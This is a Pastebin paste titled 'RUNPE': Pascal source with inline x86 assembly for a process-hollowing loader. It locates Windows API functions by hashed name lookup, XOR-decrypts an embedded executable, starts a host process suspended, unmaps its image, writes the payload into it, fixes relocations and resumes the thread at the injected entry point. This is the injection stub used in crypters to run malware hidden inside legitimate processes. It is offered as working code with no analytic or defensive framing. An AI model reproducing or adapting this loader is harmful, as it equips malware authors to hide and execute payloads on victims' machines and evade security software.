API tools faq
paste
Pirate-inc

RUNPE

Pirate-inc
Nov 12th, 2013
155
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 12.98 KB | None | 0 0
raw download clone embed print report
  1.  
  2. unit main;
  3.  
  4. interface
  5.  
  6. uses
  7.   windows;
  8.  
  9.   procedure __begin ();stdcall;
  10.   procedure __proc ();stdcall;
  11.   function kernel_base ():cardinal;stdcall;
  12.   function hash (procname :pansichar):cardinal;stdcall;
  13.   procedure asmmove (const source; var dest; count : integer);
  14.   procedure movememory (destination: pointer; source: pointer; length: dword);
  15.   function find_function (imagebase,function_hash : cardinal):pointer;stdcall;
  16.   procedure performbaserelocation(f_module: pointer; inh:pimagentheaders; f_delta: cardinal); stdcall;
  17.   function get4bytealignedcontext(var base: pcontext): pcontext;
  18.   function executefrommem (szfilepath, szparams:pansichar; pfile:pansichar):dword;stdcall;
  19.   function __pointer ():dword;stdcall;
  20.   procedure __end ();stdcall;
  21.  
  22. type
  23.   ploader = ^tloader;
  24.   tloader =  record
  25.     is_terminate : bool;
  26.     xor_function : array [0..264] of byte;
  27.     xor_pass : array [0..7] of char;
  28.     xor_size : cardinal;
  29.     x_loadlibrarya : function (lplibfilename: pansichar): hmodule; stdcall;
  30.     n_loadlibrarya : array [0..12] of char;
  31.  
  32.     x_createprocessa : function (lpapplicationname: pchar; lpcommandline: pchar;lpprocessattributes, lpthreadattributes: psecurityattributes;binherithandles: bool; dwcreationflags: dword; lpenvironment: pointer;lpcurrentdirectory: pchar; const lpstartupinfo: tstartupinfo;var lpprocessinformation: tprocessinformation): bool; stdcall;
  33.     n_createprocessa : array [0..14] of char;
  34.     x_readprocessmemory : function (hprocess: thandle; const lpbaseaddress: pointer; lpbuffer: pointer;nsize: dword; var lpnumberofbytesread: dword): bool; stdcall;
  35.     n_readprocessmemory : array [0..16] of char;
  36.     x_writeprocessmemory : function (hprocess: thandle; const lpbaseaddress: pointer; lpbuffer: pointer;nsize: dword; var lpnumberofbyteswritten: dword): bool; stdcall;
  37.     n_writeprocessmemory : array [0..18] of char;
  38.     x_getthreadcontext : function (hthread: thandle; var lpcontext: tcontext): bool; stdcall;
  39.     n_getthreadcontext : array [0..16] of char;
  40.     x_setthreadcontext : function (hthread: thandle; const lpcontext: tcontext): bool; stdcall;
  41.     n_setthreadcontext : array [0..16] of char;
  42.     x_resumethread : function (hthread: thandle): dword; stdcall;
  43.     n_resumethread : array [0..12] of char;
  44.     x_virtualallocex : function (hprocess: thandle; lpaddress: pointer;dwsize, flallocationtype: dword; flprotect: dword): pointer; stdcall;
  45.     n_virtualallocex : array [0..14] of char;
  46.     x_virtualalloc : function (lpaddress: pointer;dwsize, flallocationtype: dword; flprotect: dword): pointer; stdcall;
  47.     n_virtualalloc : array [0..12] of char;
  48.     x_virtualfree : function (lpaddress: pointer; dwsize, dwfreetype: dword): bool; stdcall;
  49.     n_virtualfree : array [0..11] of char;
  50.     x_terminateprocess : function (hprocess: thandle; uexitcode: uint): bool; stdcall;
  51.     n_terminateprocess : array [0..16] of char;
  52.  
  53.     n_ntdll : array [0..9] of char;
  54.     x_ntunmapviewofsection : function (processhandle:dword; baseaddress:pointer):dword; stdcall;
  55.  
  56.     n_ntunmapviewofsection : array [0..20] of char;
  57.     n_szfilepath,n_szparams  : array [0..MAX_PATH] of char;
  58.     pe_image : array [0..3] of char;
  59.  
  60. end;
  61.  
  62. implementation
  63.  
  64.  
  65. procedure __begin ();stdcall;
  66. asm
  67. end;
  68.  
  69.  
  70. procedure __proc ();stdcall;
  71. var
  72.   x_loader : ploader;
  73.   x_xor : procedure (buffer :pansichar; size:cardinal; password:pansichar);stdcall;
  74.  
  75. begin
  76.  
  77.   x_loader := pointer(__pointer);
  78.   addr (x_xor) := addr (x_loader^.xor_function);
  79.  
  80.   addr (x_loader^.x_loadlibrarya) := find_function (kernel_base,hash(x_loader^.n_loadlibrarya));
  81.   addr (x_loader^.x_ntunmapviewofsection) := find_function(x_loader^.x_loadlibrarya (x_loader^.n_ntdll),hash(x_loader^.n_ntunmapviewofsection));
  82.   addr (x_loader^.x_createprocessa) := find_function(kernel_base,hash(x_loader^.n_createprocessa));
  83.   addr (x_loader^.x_readprocessmemory) := find_function(kernel_base,hash(x_loader^.n_readprocessmemory));
  84.   addr (x_loader^.x_writeprocessmemory) := find_function(kernel_base,hash(x_loader^.n_writeprocessmemory));
  85.   addr (x_loader^.x_getthreadcontext) := find_function(kernel_base,hash(x_loader^.n_getthreadcontext));
  86.   addr (x_loader^.x_setthreadcontext) := find_function(kernel_base,hash(x_loader^.n_setthreadcontext));
  87.   addr (x_loader^.x_resumethread) := find_function(kernel_base,hash(x_loader^.n_resumethread));
  88.   addr (x_loader^.x_virtualallocex) := find_function(kernel_base,hash(x_loader^.n_virtualallocex));
  89.   addr (x_loader^.x_virtualalloc) := find_function(kernel_base,hash(x_loader^.n_virtualalloc));
  90.   addr (x_loader^.x_virtualfree) := find_function(kernel_base,hash(x_loader^.n_virtualfree));
  91.   addr (x_loader^.x_terminateprocess) := find_function(kernel_base,hash(x_loader^.n_terminateprocess));
  92.  
  93.   x_xor (x_loader^.pe_image,x_loader^.xor_size,x_loader^.xor_pass);
  94.   executefrommem (x_loader^.n_szfilepath,x_loader^.n_szparams,x_loader^.pe_image);
  95.  
  96. end;
  97.  
  98.  
  99. function kernel_base ():cardinal;stdcall;
  100. asm
  101.  
  102.   PUSHAD
  103.   XOR ECX, ECX
  104.   MOV ESI, FS:[ECX + 30H]
  105.   MOV ESI, [ESI + 0CH]
  106.   MOV ESI, [ESI + 1CH]
  107.   @@NEXT_MODULE:
  108.     MOV EAX, [ESI + 08H]
  109.     MOV EDI, [ESI + 20H]
  110.     MOV ESI, [ESI]
  111.     CMP [EDI + 12 * 2], CL
  112.     JNE @@NEXT_MODULE
  113.     MOV [ESP + 01CH], EAX
  114.     POPAD
  115. end;
  116. function hash (procname :pansichar):cardinal;stdcall;
  117. asm
  118.  
  119.  
  120.   PUSHAD
  121.   MOV ESI,PROCNAME
  122.   XOR EDI, EDI
  123.   XOR EAX, EAX
  124.   CLD
  125.   @@HASH:
  126.     LODSB
  127.     TEST AL, AL
  128.     JZ @@HASH_FINISHED
  129.     ROR EDI, 0DH
  130.     ADD EDI, EAX
  131.     JMP @@HASH
  132.   @@HASH_FINISHED:
  133.     MOV EAX,EDI
  134.     MOV [ESP + 01CH], EAX
  135.     POPAD
  136. end;
  137. procedure asmmove (const source; var dest; count : integer);
  138. asm
  139.  
  140.   PUSHAD
  141.   MOV ESI,EAX
  142.   MOV EDI,EDX
  143.   MOV EAX,ECX
  144.   CMP EDI,ESI
  145.   JA @@DOWN
  146.   JE @@EXIT
  147.   SAR ECX,2
  148.   JS @@EXIT
  149.   REP MOVSD
  150.   MOV ECX,EAX
  151.   AND ECX,03H
  152.   REP MOVSB
  153.   JMP @@EXIT
  154.   @@DOWN:
  155.     LEA ESI,[ESI+ECX-4]
  156.     LEA EDI,[EDI+ECX-4]
  157.     SAR ECX,2
  158.     JS  @@EXIT
  159.     STD
  160.     REP MOVSD
  161.     MOV ECX,EAX
  162.     AND ECX,03H
  163.     ADD ESI,4-1
  164.     ADD EDI,4-1
  165.     REP MOVSB
  166.     CLD
  167.   @@EXIT:
  168.     MOV [ESP + 01CH], EAX
  169.     POPAD
  170. end;
  171.  
  172. procedure movememory (destination: pointer; source: pointer; length: dword);
  173. begin
  174.  
  175.   asmmove(source^,destination^,length);
  176. end;
  177.  
  178.  
  179. function find_function (imagebase,function_hash : cardinal):pointer;stdcall;
  180. asm
  181.  
  182.   PUSHAD
  183.   MOV EBP, [ESP + 028H]
  184.   MOV EAX, [EBP + 03CH]
  185.   MOV EDX, [EBP + EAX + 078H]
  186.   ADD EDX, EBP
  187.   MOV ECX, [EDX + 018H]
  188.   MOV EBX, [EDX + 020H]
  189.   ADD EBX, EBP
  190.   @@FIND_FUNC_ADDRESS_LOOP:
  191.     JECXZ @@FIND_FUNC_ADDRESS_FINISHED
  192.     DEC ECX
  193.     MOV ESI, [EBX + ECX * 4]
  194.     ADD ESI, EBP
  195.   @@PREPARE_HASH:
  196.     XOR EDI, EDI
  197.     XOR EAX, EAX
  198.     CLD
  199.   @@HASH:
  200.     LODSB
  201.     TEST AL, AL
  202.     JZ @@HASH_FINISHED
  203.     ROR EDI, 0DH
  204.     ADD EDI, EAX
  205.     JMP @@HASH
  206.  
  207.   @@HASH_FINISHED:
  208.   @@COMPARE_HASH:
  209.     CMP EDI, [ESP + 02CH]
  210.     JNZ @@FIND_FUNC_ADDRESS_LOOP
  211.     MOV EBX, [EDX + 024H]
  212.     ADD EBX, EBP
  213.     MOV CX, [EBX + 2 * ECX]
  214.     MOV EBX, [EDX + 01CH]
  215.     ADD EBX, EBP
  216.     MOV EAX, [EBX + 4 * ECX]
  217.     ADD EAX, EBP
  218.     MOV [ESP + 01CH], EAX
  219.  
  220.   @@FIND_FUNC_ADDRESS_FINISHED:
  221.     POPAD
  222. end;
  223.  
  224. procedure performbaserelocation(f_module: pointer; inh:pimagentheaders; f_delta: cardinal); stdcall;
  225. type
  226.   pimagebaserelocation = ^timagebaserelocation;
  227.   timagebaserelocation = packed record
  228.      virtualaddress: dword;
  229.      sizeofblock: dword;
  230. end;
  231. var
  232.   l_i: cardinal;
  233.   l_codebase: pointer;
  234.   l_relocation: pimagebaserelocation;
  235.   l_dest: pointer;
  236.   l_relinfo: ^word;
  237.   l_patchaddrhl: ^dword;
  238.   l_type, l_offset: integer;
  239.  
  240. begin
  241.  
  242.  
  243.   l_codebase := f_module;
  244.   if inh^.optionalheader.datadirectory[5].size > 0 then
  245.   begin
  246.     l_relocation := pimagebaserelocation(cardinal(l_codebase) + inh^.optionalheader.datadirectory[5].virtualaddress);
  247.     while l_relocation.virtualaddress > 0 do
  248.     begin
  249.       l_dest := pointer((cardinal(l_codebase) + l_relocation.virtualaddress));
  250.       l_relinfo := pointer(cardinal(l_relocation) + 8);
  251.       for l_i := 0 to (trunc(((l_relocation.sizeofblock - 8) / 2)) - 1) do
  252.       begin
  253.         l_type := (l_relinfo^ shr 12);
  254.         l_offset := l_relinfo^ and $fff;
  255.         if l_type = 3 then
  256.         begin
  257.           l_patchaddrhl := pointer(cardinal(l_dest) + cardinal(l_offset));
  258.           l_patchaddrhl^ := l_patchaddrhl^ + f_delta;
  259.         end;
  260.         inc(l_relinfo);
  261.       end;
  262.       l_relocation := pointer(cardinal(l_relocation) + l_relocation.sizeofblock);
  263.     end;
  264.   end;
  265. end;
  266.  
  267. function alignimage (pimage:pointer):pointer;
  268. var
  269.   idh:          pimagedosheader;
  270.   inh:          pimagentheaders;
  271.   ish:          pimagesectionheader;
  272.   i:            word;
  273.   x_loader :    ploader;
  274. begin
  275.  
  276.   x_loader := pointer(__pointer);
  277.  
  278.  
  279.   idh := pimage;
  280.   inh := pointer(integer(pimage) + idh^._lfanew);
  281.   result := x_loader^.x_virtualalloc (nil,inh^.optionalheader.sizeofimage,mem_commit,page_readwrite);
  282.   movememory (result, pimage, inh^.optionalheader.sizeofheaders);
  283.   for i := 0 to inh^.fileheader.numberofsections - 1 do
  284.   begin
  285.     ish := pointer(integer(pimage) + idh^._lfanew + 248 + i * 40);
  286.     movememory (pointer(dword(result) + ish^.virtualaddress), pointer(dword(pimage) + ish^.pointertorawdata), ish^.sizeofrawdata);
  287.   end;
  288. end;
  289.  
  290. function get4bytealignedcontext(var base: pcontext): pcontext;
  291. var
  292.   x_loader : ploader;
  293. begin
  294.  
  295.   x_loader := pointer(__pointer);
  296.   base := x_loader^.x_virtualalloc (nil, sizeof(tcontext) + 4, mem_commit, page_readwrite);
  297.   result := base;
  298.   if base <> nil then
  299.     while ((dword(result) mod 4) <> 0) do
  300.       result := pointer (dword(result) + 1);
  301. end;
  302.  
  303. function executefrommem (szfilepath, szparams:pansichar; pfile:pansichar):dword;stdcall;
  304. var
  305.   pi:           pprocessinformation;
  306.   si:           pstartupinfo;
  307.   ct:           pcontext;
  308.   ctbase:       pcontext;
  309.   idh:          pimagedosheader;
  310.   inh:          pimagentheaders;
  311.   dwimagebase:  dword;
  312.   pmodule:      pointer;
  313.   dwnull:       dword;
  314.   x_loader:     ploader;
  315. begin
  316.  
  317.   x_loader := pointer(__pointer);
  318.   result := 0;
  319.   idh := pointer (pfile);
  320.   if idh^.e_magic = image_dos_signature then
  321.   begin
  322.     inh := pointer(integer(pfile) + idh^._lfanew);
  323.     if inh^.signature = image_nt_signature then
  324.     begin
  325.       pi := x_loader^.x_virtualalloc (nil, sizeof (tprocessinformation), mem_commit, page_readwrite);
  326.       si := x_loader^.x_virtualalloc (nil, sizeof (tstartupinfo), mem_commit, page_readwrite);
  327.       si.cb := sizeof (tstartupinfo);
  328.       if x_loader^.x_createprocessa (pchar(szfilepath), pchar(szparams), nil, nil, false, create_suspended, nil, nil, si^, pi^) then
  329.       begin
  330.         ct := get4bytealignedcontext(ctbase);
  331.         if ct <> nil then
  332.         begin
  333.           ct.contextflags := context_full;
  334.           if x_loader^.x_getthreadcontext(pi.hthread, ct^) then
  335.           begin
  336.             x_loader^.x_readprocessmemory(pi.hprocess, pointer(ct.ebx + 8), @dwimagebase, 4, dwnull);
  337.             if dwimagebase = inh^.optionalheader.imagebase then
  338.             begin
  339.               if x_loader^.x_ntunmapviewofsection(pi.hprocess, pointer(inh^.optionalheader.imagebase)) = 0 then
  340.                 pmodule := x_loader^.x_virtualallocex(pi.hprocess, pointer(inh^.optionalheader.imagebase), inh^.optionalheader.sizeofimage, mem_commit or mem_reserve, page_execute_readwrite)
  341.               else
  342.                 pmodule := x_loader^.x_virtualallocex(pi.hprocess, nil, inh^.optionalheader.sizeofimage, mem_commit or mem_reserve, page_execute_readwrite);
  343.             end
  344.             else
  345.               pmodule := x_loader^.x_virtualallocex(pi.hprocess, pointer(inh^.optionalheader.imagebase), inh^.optionalheader.sizeofimage, mem_commit or mem_reserve, page_execute_readwrite);
  346.             if pmodule <> nil then
  347.             begin
  348.               pfile := alignimage(pfile);
  349.               if dword(pmodule) <> inh^.optionalheader.imagebase then
  350.               begin
  351.                 performbaserelocation(pfile, inh, (dword(pmodule) - inh^.optionalheader.imagebase));
  352.                 inh^.optionalheader.imagebase := dword(pmodule);
  353.                 copymemory(pointer(integer(pfile) + idh^._lfanew), inh, 248);
  354.               end;
  355.               x_loader^.x_writeprocessmemory(pi.hprocess, pmodule, pfile, inh.optionalheader.sizeofimage, dwnull);
  356.               x_loader^.x_writeprocessmemory(pi.hprocess, pointer(ct.ebx + 8), @pmodule, 4, dwnull);
  357.               ct.eax := dword(pmodule) + inh^.optionalheader.addressofentrypoint;
  358.               x_loader^.x_setthreadcontext(pi.hthread, ct^);
  359.               x_loader^.x_resumethread(pi.hthread);
  360.               result := pi.hthread;
  361.             end;
  362.           end;
  363.           x_loader^.x_virtualfree (ctbase, 0, mem_release);
  364.           x_loader^.x_virtualfree (pi,0, mem_release);
  365.           x_loader^.x_virtualfree (si,0, mem_release);
  366.  
  367.         end;
  368.         if x_loader^.is_terminate then
  369.            x_loader^.x_terminateprocess (dword (-1),0);
  370.       end;
  371.     end;
  372.   end;
  373. end;
  374.  
  375. function __pointer ():dword;stdcall;
  376. asm
  377.   CALL @ADDR
  378.   @ADDR:
  379.        POP EAX
  380.        ADD EAX,7
  381. end;
  382.  
  383. procedure __end ();stdcall;
  384. asm
  385.  
  386. end;
  387. end.
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!